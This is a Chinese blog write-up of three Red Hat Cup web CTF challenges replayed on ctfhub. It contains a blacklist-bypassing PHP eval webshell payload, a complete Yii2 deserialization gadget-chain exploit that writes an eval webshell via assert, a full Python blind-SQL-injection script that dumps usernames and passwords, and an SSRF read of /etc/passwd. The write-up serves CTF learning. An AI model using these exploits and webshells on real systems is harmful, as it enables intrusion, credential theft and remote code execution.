红帽杯

题目是在ctfhub上复现的

Find_it

一看应该是文件泄露了,访问了一下robots.txt发现有提示1ndexx.php结合备份文件泄露

直接访问/.1ndexx.php.swp得到源码(关键代码如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

代码很简单,传入code过滤了一堆东西,然后写入文件。显然是要写入木马之类的。

这里有几个绕过方法,大小写绕过,构造为

1
?code=%3C?php%20Eval($_POST["cmd"]);?%3E

蚁剑连接即可

在这里插入图片描述

另外一个思路是网上看的,用show_source() 函数对文件进行语法高亮显示。

构造payload:?code=<?php show_source(__FILE__);?>然后访问hack.php,但是我在ctfhub没有做成功也不知道为啥….

framework

现成的yii2的反序列化,感觉现在看这些框架不是那么陌生了。

先分析了一下网上的复现过程,一条链是从

在这里插入图片描述

跟进reset函数

在这里插入图片描述

调用了别的地方的close函数,这里的_dataReader是可控的,想办法调用__call函数。全局搜索一下__call,最后在\vendor\fzaninotto\faker\src\Faker\Generator.php找到了一个合适的__call方法:

在这里插入图片描述

$method即为close,参数为空,跟进format:

在这里插入图片描述

看到call_user_func_array就好办了,跟进getFormatter函数,这里$this->formatters可控,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,回调函数是我们可控的,但是$arguments为空,所以相当于我们现在能干两件事,可以调用yii2中任意的一个无参方法,或者调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:

最后找到的rest/CreateAction.php以及rest/IndexAction.php都很好用。这里分析一下IndexAction.php:
主要是它的run方法:

在这里插入图片描述

$this->checkAccess$this->id都是我们可控的,相当于直接函数名和参数都可控了,反序列化链至此结束。

题目给的这个题,反序列化入口很容易找到:

在这里插入图片描述

现在整个看下来,这个链还是比较好理解的。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator;
}

}
}
namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new IndexAction(),'run'];
}
}
}

namespace yii\rest{

class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="phpinfo";
$this->id="1";
}
}
}
namespace{

use yii\db\BatchQueryResult;

echo base64_encode(
serialize(new BatchQueryResult()));
}

看到了禁用函数

在这里插入图片描述

发现assert没有被禁用

改一下命令

1
2
$this->checkAccess='assert';
$this->id="file_put_contents('1.php','<?php eval(\$_GET['cmd'];?>')";

上传蚁剑连接,插件绕过函数禁用即可。第一次没有复现成功,后来又做了一次出了。

关于yii2一些知识有一张图挺好..

在这里插入图片描述

WebsiteManger

进入页面F12可以看到
在这里插入图片描述

很明显是注入,进入image.php可以看到图片,试了下不同的id发现好像可以盲注,又简单试了下
if(ascii(substr(database(),1,1))>1,1,0)发现正常显示,ok直接脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests

url = "http://challenge-09493052703a08b5.sandbox.ctfhub.com:10800/image.php"

def inject_database(url):
name = ''

for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "if(ascii(substr(database(),%d,1))>%d,1,0)"%(i,mid)
params = {'id':payload}
r = requests.get(url,params = params)
if len(r.text) > 4000:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid == 32:
break
name = name + chr(mid)
print (name)

def inject_table(url):
name = ''

for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'ctf'),%d,1))>%d,1,0)"%(i,mid)
params = {'id':payload}
r = requests.get(url,params = params)
if len(r.text) > 4000:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid == 32:
break
name = name + chr(mid)
print (name)

def inject_column(url):
name = ''

for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'users'),%d,1))>%d,1,0)"%(i,mid)
params = {'id':payload}
r = requests.get(url,params = params)
if len(r.text) > 4000:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid == 32:
break
name = name + chr(mid)
print (name)

def result(url):
name = ''

for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "if(ascii(substr((select/**/group_concat(username,password)/**/from/**/ctf.users),%d,1))>%d,1,0)"%(i,mid)
params = {'id':payload}
r = requests.get(url,params = params)
if len(r.text) > 4000:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid == 32:
break
name = name + chr(mid)
print (name)

# inject_database(url)
# inject_table(url)
# inject_column(url)
result(url)
# database : ctf
# table : users
# column : USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

在这里插入图片描述

登录后是一个主机测试,试了试file:///etc/passwd,返回了文件内容直接file:///flag出。
这个题感觉比较基础。也没有什么过滤,payload中就过滤了空格。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!